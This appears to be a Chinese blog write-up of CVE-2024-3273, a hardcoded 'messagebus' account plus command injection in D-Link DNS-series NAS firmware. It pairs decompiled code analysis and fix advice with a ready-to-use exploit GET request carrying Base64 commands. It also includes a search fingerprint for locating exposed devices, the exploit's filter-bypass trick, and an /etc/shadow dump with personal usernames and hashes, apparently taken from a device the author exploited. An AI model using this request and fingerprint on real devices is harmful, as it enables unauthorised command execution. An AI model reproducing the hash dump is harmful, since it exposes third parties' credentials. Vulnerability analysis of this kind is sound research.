CVE-2024-3273

CVE-2024-3273

周六 11月 01 2025
3127 字 · 21 分钟

摘要

在D-LinkNAS中多个产品的/cgi-bin/nas_sharing.cgi脚本中存在硬编码后门漏洞(用户名messagebus,密码为空),system参数通过Base64编码可以执行系统命令威胁者可组合利用这两个漏洞通过HTTP GET请求将Base64编码的命令添加到system参数从而在系统上执行任意命令,成功利用可能导致未授权访问敏感信息、修改系统配置或拒绝服务等。

影响范围

DNS-320L 版本1.11、版本1.03.0904.2013、版本1.01.0702.2013

DNS-325 版本1.01

DNS-327L 版本1.09,版本1.00.0409.2013

DNS-340L 版本1.08

环境

使用的固件 -> dns-340l dns-320l

虚拟机 -> IOT-Research

反汇编分析工具 -> IDA_Pro 9.0

https://media.dlink.eu/support/products/dns/dns-340l/driver_software/dns-340l_fw_reva1_1-08_eu_multi_20180731.zip
https://support.dlink.com/resource/products/dns-320l/REVA/DNS-320L_FIRMWARE_1.03B08.ZIP

指纹 -> _fid=“hWN+yVVhLzKJaLkd/ITHpA==” && Country !=“CN”

复现过程

简单测试

poc -> https://github.com/Chocapikk/CVE-2024-3273

alt

alt

GET /cgi-bin/nas_sharing.cgi?cmd=15&passwd=&system=aWQ=&user=messagebus HTTP/1.1
Host: xxx.xxx.xxx.xxx
Accept: application/xml, text/xml, */*; q=0.01
Referer: http://xxx.xxx.xxx.xxx/
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Origin: http://xxx.xxx.xxx.xxx
Accept-Language: zh-CN,zh;q=0.9

返回id的执行内容就算成功了,也就是system={{base64_enc(cmd)}}

分析固件

我们对将DLINK_DNS-340L_1.08b01(1.01.0502.2018)进行binwalk解包

binwalk -Me DLINK_DNS-340L_1.08b01(1.01.0502.2018)

使用exp攻击后,根据远程目标靶机上返回的pwd值,确定目标运行路径是/var/www/cgi-bin也就是说我们攻击入口是/var/www/cgi-bin/nassharing.cgi,对应固件中的squashfs-root/cgi/nassharing.cgisquashfs是它应用系统的挂载点

int cgiMain()
{
int v0; // r5
int v1; // r3
int v3; // [sp+0h] [bp-20h] BYREF
int v4; // [sp+4h] [bp-1Ch]
char nptr[4]; // [sp+8h] [bp-18h] BYREF
int v6; // [sp+Ch] [bp-14h]
v3 = 0;
v4 = 0;
*(_DWORD *)nptr = 0;
v6 = 0;
((void (__fastcall *)(const char *, int *, int))cgiFormString)("cmd", &v3, 8);
v0 = strtol((const char *)&v3, 0, 10);
cgiFormString("dbg", nptr, 8, v1, v3, v4);
if ( nptr[0] )
dword_3E4FC = strtol(nptr, 0, 10);
switch ( v0 )
{
case 0:
sub_196AC();
break;
case 1:
sub_12C50();
break;
.....
case 13:
sub_14DB4();
break;
case 14:
sub_151B0();
break;
case 15:
sub_19108();
break;
case 16:
sub_19230();
break;
......
case 75:
sub_1AC74();
break;
case 76:
sub_1B4DC();
break;
case 77:
sub_1AEC8();
break;
case 78:
sub_1AD9C();
break;
case 80:
sub_1B2D0();
break;
case 81:
case 82:
case 83:
case 84:
case 85:
case 86:
case 87:
case 88:
case 89:
sub_1B604(v0);
break;
......
break;
case 98:
sub_1C790();
break;
case 99:
sub_1C9CC();
break;
case 100:
sub_1CD24();
break;
......
default:
sub_128D0();
break;
}
return 0;
}

代码从表单中获取了传入cmd和dbg的值,并对cmd的值进行了判断,也就是我们POC中传入的”cmd=15”

我们跟进case 15对应的sub_19108()函数

int sub_19108()
{
int v0; // r3
int v1; // r3
int v2; // r3
int v3; // r0
int v5; // r3
_DWORD v6[1024]; // [sp+0h] [bp-4008h] BYREF
_BYTE s[4096]; // [sp+1000h] [bp-3008h] BYREF
char v8[4096]; // [sp+2000h] [bp-2008h] BYREF
char command[4104]; // [sp+3000h] [bp-1008h] BYREF
memset(v6, 0, sizeof(v6));
memset(s, 0, sizeof(s));
memset(v8, 0, sizeof(v8));
memset(command, 0, 0x1000u);
((void (__fastcall *)(const char *, _DWORD *, int, int))cgiFormString)("user", v6, 4096, v0);
cgiFormString("passwd", s, 4096, v1, v6[0], v6[1]);
v2 = LOBYTE(v6[0]);
if ( !LOBYTE(v6[0]) )
{
v2 = s[0];
if ( !s[0] )
{
((void (__fastcall *)(const char *, _DWORD *, int, _DWORD))cgiFormString)("id1", v6, 4096, s[0]);
cgiFormString("id2", s, 4096, v5, v6[0], v6[1]);
}
}
cgiFormString("system", v8, 4096, v2, v6[0], v6[1]); // 获取system参数
if ( !sub_1E1CC(v6, s) ) // 身份验证检查
return sub_128D0(); // 验证失败的处理
strlen(v8);
sub_1DD88((u_char *)command, v8); // base64解码v8传入command 这里应该是有错误的,strlen应该作为一个参数传入到这个函数中
fix_path_special_char(command); // 修复路径特殊字符
v3 = system(command); // 执行系统命令
return sub_12998(v3); // 返回执行结果
}

可以看到,代码从CGI表单获取”user”和”passwd”字段传入到v6和s。如果都为空就从id1和id2中获取。之后传入sub_1E1CC认证

int sub_128D0()
{
int v0; // r4 - XML文档指针
int v1; // r7 - 根节点指针
int v2; // r6 - 子节点指针
char *format; // [sp+0h] [bp-20h] BYREF - 输出的XML字符串
int v5; // [sp+4h] [bp-1Ch] BYREF - XML字符串长度
v0 = xmlNewDoc("1.0"); // 创建XML文档,版本1.0
v1 = xmlNewNode(0, "config"); // 创建根节点"config"
xmlDocSetRootElement(v0, v1); // 设置根节点
v2 = xmlNewNode(0, "nas_sharing"); // 创建"nas_sharing"节点
xmlAddChild(v1, v2); // 添加到根节点
xmlNewChild(v2, 0, "auth_state", "0"); // 添加子节点"auth_state"值为"0"
xmlDocDumpMemoryEnc(v0, &format, &v5, "UTF-8"); // 将XML转为UTF-8字符串
fprintf((FILE *)cgiOut, format); // 输出到CGI响应
free(format); // 释放XML字符串内存
return free_xml_memory(v0); // 释放XML文档内存
}

可见如果passwd和user认证失败会返回一个xml,其中auth_state为0,回显包如下

HTTP/1.1 200 OK
Content-Language: en
P3P: CP='CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR'
Date: Mon, 27 Oct 2025 08:26:00 GMT
Server: lighttpd/1.4.28
Content-Type: text/xml; charset=utf-8
Content-Length: 111
<?xml version="1.0" encoding="UTF-8" ?>
<config><nas_sharing><auth_state>0</auth_state></nas_sharing></config>

而如果认证成功则会进入sub_12998并回显一个auth_state为1的xml。我们跟进sub_1E1CC认证函数

int __fastcall sub_1E1CC(const char *a1, const char *a2)
{
const char *v4; // r7 - 遍历特殊用户名的指针
const char *v5; // t1 - 临时存储当前特殊用户名
int result; // r0 - 函数返回值
FILE *v7; // r5 - shadow文件指针
struct passwd *v8; // r0 - 从shadow文件读取的用户信息
struct passwd *v9; // r6 - 存储匹配的用户信息
const char *v10; // r0 - 密码验证结果
char v11[4096]; // [sp+0h] [bp-1118h] BYREF - Base64解码后的密码缓冲区
char s[128]; // [sp+1000h] [bp-118h] BYREF - 存储shadow文件中的密码哈希
char dest[152]; // [sp+1080h] [bp-98h] BYREF - 处理密码的临时缓冲区
// 初始化所有缓冲区为0
memset(s, 0, sizeof(s)); // 清空密码哈希缓冲区
memset(dest, 0, 0x80u); // 清空密码处理缓冲区
memset(v11, 0, sizeof(v11)); // 清空Base64解码缓冲区
v4 = "dbg"; // 指向特殊用户名列表的起始位置(假设"dbg"是第一个特殊用户)
while ( 1 )// 循环检查特殊用户名
{
v5 = (const char *)*((_DWORD *)v4 + 1); // 获取当前特殊用户名
v4 += 4; // 移动到下一个特殊用户条目
result = strcmp(a1, v5); // 比较输入用户名与特殊用户名
if ( !result ) // 如果匹配成功
break; // 跳出循环,返回成功
if ( v4 == (const char *)off_2BCF0 ) // off_2BCF0可能是特殊用户列表的结束标记
{
if ( *a2 ) // 如果密码不为空
{
_b64_pton(a2, (u_char *)v11, 0x1000u);// 对Base64编码的密码进行解码
if ( dword_3E4FC )// 如果调试模式开启,输出密码信息
{
sub_12878("pwd [%s]\n", a2); // 输出原始密码(Base64)
sub_12878("pwd decode[%s]\n", v11); // 输出解码后的密码
}
}
v7 = (FILE *)fopen64("/etc/shadow", "r");// 打开系统shadow文件读取用户密码信息
do// 循环读取shadow文件中的用户条目
{
v8 = fgetpwent(v7); // 获取下一个用户密码条目
v9 = v8; // 保存当前用户条目
if ( !v8 ) // 如果到达文件末尾(用户不存在)
return 0; // 返回验证失败
}
while ( strcmp(v8->pw_name, a1) ); // 继续查找直到找到匹配的用户名
strncpy(s, v9->pw_passwd, 0x80u);// 复制找到用户的密码哈希到缓冲区s
fclose(v7); // 关闭shadow文件
strncpy(dest, v11, 0x80u);// 复制解码后的密码到dest缓冲区
v10 = (const char *)sub_1E160((int)dest, s);// 调用密码验证函数sub_1E160进行密码验证
return strncmp(v10, s, 0x80u) == 0;// 比较验证结果与原始密码哈希,返回比较结果
}
}
return result;// 如果是特殊用户,直接返回验证成功
}

首先检查用户名是否在预定义的特殊用户列表中,如果是则直接返回验证,如果不是就Base64解码传入的密码,读取系统/etc/shadow文件,查找对应用户名的密码哈希,使用sub_1E160函数验证密码,比较验证结果与存储的哈希值。

.rodata:0002BCDC aDbg DCB "dbg",0 ; DATA XREF: cgiMain+48↑o
.rodata:0002BCDC ; .text:off_1DD80↑o ...
.rodata:0002BCE0 off_2BCE0 DCD aRoot ; DATA XREF: sub_1E1CC+4C↑r
.rodata:0002BCE0 ; "root"
.rodata:0002BCE4 DCD aNobody ; "nobody"
.rodata:0002BCE8 DCD aFtp ; "ftp"
.rodata:0002BCEC DCD aSqueezecenter ; "squeezecenter"
.rodata:0002BCF0 off_2BCF0 DCD aSshd ; DATA XREF: sub_1E324+4↑o
.rodata:0002BCF0 ; .text:off_1E3DC↑o
.rodata:0002BCF0 ; "sshd"
.rodata:0002BCF4 off_2BCF4 DCD aRoot ; DATA XREF: sub_1E324+1C↑r
.rodata:0002BCF4 ; "root"
.rodata:0002BCF8 DCD aNobody ; "nobody"
.rodata:0002BCFC DCD aFtp ; "ftp"
.rodata:0002BD00 DCD aSqueezecenter ; "squeezecenter"
.rodata:0002BD04 DCD aSshd ; "sshd"
.rodata:0002BD08 ; const char a08x[]

我们这里可以看到即使是特殊用户列表,指针也会调用sub_1E324

int __fastcall sub_1E324(char *s1, const char *a2)
{
char **v2; // r4 // 定义字符串指针数组
const char *v5; // t1 // 临时字符串指针
int result; // r0 // 函数返回值
FILE *v7; // r6 // 文件指针
struct passwd *v8; // r0 // 密码结构体指针
struct passwd *v9; // r4 // 密码结构体指针副本
const char *v10; // r0 // 字符串指针
char v11[80]; // [sp+0h] [bp-B8h] BYREF // 缓冲区,存储密码哈希
char dest[104]; // [sp+50h] [bp-68h] BYREF // 缓冲区,存储输入密码
v2 = off_2BCF0; // 初始化指针数组
while ( 1 ) // 开始循环
{
v5 = v2[1]; // 获取数组中的下一个字符串
++v2; // 指针移动到下一个位置
result = strcmp(s1, v5); // 比较输入字符串和数组中的字符串
if ( !result ) // 如果字符串匹配
break; // 跳出循环
if ( v2 == &off_2BD04 ) // 如果已遍历完数组
{
v7 = (FILE *)fopen64("/etc/shadow", "r"); // 打开shadow文件
while ( 1 ) // 开始循环读取shadow文件
{
v8 = fgetpwent(v7); // 读取下一个密码条目
v9 = v8; // 保存密码条目
if ( !v8 ) // 如果读取失败或文件结束
break; // 跳出循环
if ( !strcmp(v8->pw_name, s1) ) // 如果找到匹配的用户名
{
strcpy(v11, v9->pw_passwd); // 复制密码哈希到缓冲区
fclose(v7); // 关闭shadow文件
strcpy(dest, a2); // 复制输入密码到缓冲区
v10 = (const char *)sub_1E160((int)dest, v11); // 调用密码加密函数
return strcmp(v10, v11) == 0; // 比较加密后的密码与存储的哈希
}
}
return 0; // 未找到用户返回0
}
}
return result; // 返回字符串比较结果
}

sub_1E1CC和sub_1E324均调用了sub_1E160获取密码的哈希

Linux /etc/shadow 文件只有 root 用户拥有读权限格式如下

用户名:加密密码:最后一次修改时间:最小修改时间间隔:密码有效期:密码需要变更前的警告天数:密码过期后的宽限时间:账号失效时间:保留字段
admin:$1$$gve3Uka.V1oDuclEp0W.g1:0:0:99999:7:::
nobody:pACwI1fCXYNw6:0:0:99999:7:::
squeezecenter:$1$$o7vIitnZu4MHlaR5S90M/1:15460:0:99999:7:::
root:$1$$qRPK7m23GJusamGpoGLby/:14746:0:99999:7:::
messagebus:$1$$qRPK7m23GJusamGpoGLby/:19060:0:99999:7:::
HramAdmin:$1$$gve3Uka.V1oDuclEp0W.g1:19268:0:99999:7:::
IrinaZabolotnaya:$1$$A1IGgeA6wZYlyzfzp9sV60:19801:0:99999:7:::
Navrotskaya:$1$$PepcYs8FT7wT54SJjROql0:20070:0:99999:7:::
Sharkov:$1$$8w9mpx4vnRY08fRK/ZN0b/:20070:0:99999:7:::
Krikota:$1$$RRfa3MMgwtTOsb0TrxxHu/:20070:0:99999:7:::
Foto:$1$$.YDIniGthJtsdQXpVvVtA/:20179:0:99999:7:::

这里我们messagebus的密码和root一样都是空密码,也就是说,只要我们用户名是messagebus或root并将密码置空就可以执行将system表单接受的v8传入command,再经过fix_path_special_char处理后执行并返回结果。

cgiFormString("system", v8, 4096, v2, v6[0], v6[1]); // 获取system参数
if ( !sub_1E1CC(v6, s) ) // 身份验证检查
return sub_128D0(); // 验证失败的处理
strlen(v8);
sub_1DD88((u_char *)command, v8); // base64解码v8传入command
fix_path_special_char(command); // 修复路径特殊字符
v3 = system(command); // 执行系统命令
return sub_12998(v3); // 返回执行结果

在实际测试中我们发现如果用户名是root或执行的命令中包含空格会执行失败,而exp中不会,检查exp相关代码

command_final = f"echo -e {command_hex}|sh".replace(' ', '\t')

我们可以看到exp将空格以制表符代替,绕过了空格过滤,我们猜测fix_path_special_char就是相关的过滤函数

我们通过ldd命令查找到usrlib/libmmf.so

objdump -T libmmf.so | grep fix_path_special_char
>00003a88 g DF .text 00000288 Base fix_path_special_char
char *__fastcall fix_path_special_char(char *a1)
{
char *v2; // r5
char *v3; // r6
int v4; // r3
bool v5; // zf
char *v6; // r2
char *result; // r0
char v8[1048]; // [sp+0h] [bp-418h] BYREF
memset(v8, 0, 0x400u);
v2 = strchr(a1, 36);
if ( v2 )
goto LABEL_2;
v3 = strchr(a1, 96);
if ( v3 )
goto LABEL_26;
v2 = strchr(a1, 35);
if ( v2 )
goto LABEL_28;
if ( strchr(a1, 37) )
goto LABEL_26;
v3 = strchr(a1, 94);
if ( v3 )
{
v2 = 0;
v3 = 0;
goto LABEL_3;
}
v2 = strchr(a1, 38);
if ( v2 )
goto LABEL_28;
v3 = strchr(a1, 40);
if ( v3 )
goto LABEL_26;
v2 = strchr(a1, 41);
if ( v2 )
goto LABEL_28;
if ( strchr(a1, 43) )
goto LABEL_26;
if ( strchr(a1, 123) || (v2 = strchr(a1, 125)) != 0 )
{
LABEL_2:
v2 = 0;
v3 = 0;
goto LABEL_3;
}
v3 = strchr(a1, 59);
if ( v3 )
{
LABEL_26:
v3 = 0;
goto LABEL_3;
}
v2 = strchr(a1, 91);
if ( v2 )
goto LABEL_28;
v3 = strchr(a1, 93);
if ( v3 )
goto LABEL_26;
v2 = strchr(a1, 39);
if ( v2 )
{
LABEL_28:
v2 = 0;
goto LABEL_3;
}
v3 = strchr(a1, 61);
if ( v3 )
goto LABEL_26;
result = strchr(a1, 32);
if ( !result )
return result;
v2 = 0;
LABEL_3:
while ( (unsigned int)v2 < strlen(a1) )
{
v4 = (unsigned __int8)v2[(_DWORD)a1];
v5 = v4 == 36;
if ( v4 != 36 )
v5 = v4 == 96;
if ( v5
|| v4 == 35
|| v4 == 37
|| v4 == 94
|| v4 == 38
|| v4 == 40
|| v4 == 41
|| v4 == 43
|| v4 == 123
|| v4 == 125
|| v4 == 59
|| v4 == 91
|| v4 == 93
|| v4 == 39
|| v4 == 61
|| v4 == 32 )
{
v6 = &v8[(_DWORD)v3++ + 1024];
*(v6 - 1024) = 92;
}
++v2;
v8[(_DWORD)v3++] = v4;
}
return strcpy(a1, v8);
}

检测特殊字符:检查输入字符串中是否包含以下特殊字符并添加\转义处理

$ (36), ` (96), # (35), % (37), ^ (94), & (38), ( (40), ) (41), + (43), { (123), } (125), ; (59), [ (91), ] (93), ’ (39), = (61), 空格 (32)

对于root执行失败的情况,是因为它在dbg对应的特殊用户列表中,直接跳过检查返回0了

修复方案

替换固件

使用漏洞或者UART Console修改messagebus的密码

在固件中将messagebus的指针去掉


Thanks for reading!

CVE-2024-3273

周六 11月 01 2025
3127 字 · 21 分钟